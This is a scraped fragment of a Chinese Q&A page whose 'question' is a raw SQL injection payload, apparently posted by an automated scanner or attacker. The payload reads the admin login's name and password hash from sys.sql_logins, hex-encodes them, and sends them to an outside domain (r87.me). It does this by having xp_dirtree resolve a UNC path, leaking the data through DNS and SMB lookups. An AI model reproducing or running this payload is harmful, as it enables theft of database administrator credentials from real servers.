Chia回答区 › 3 0 赞 踩 declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.66gfsncteuv3ru0mblouilpcezsc3bjxwdkd4qde'+'pmy.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''') asked 1 年 ago 3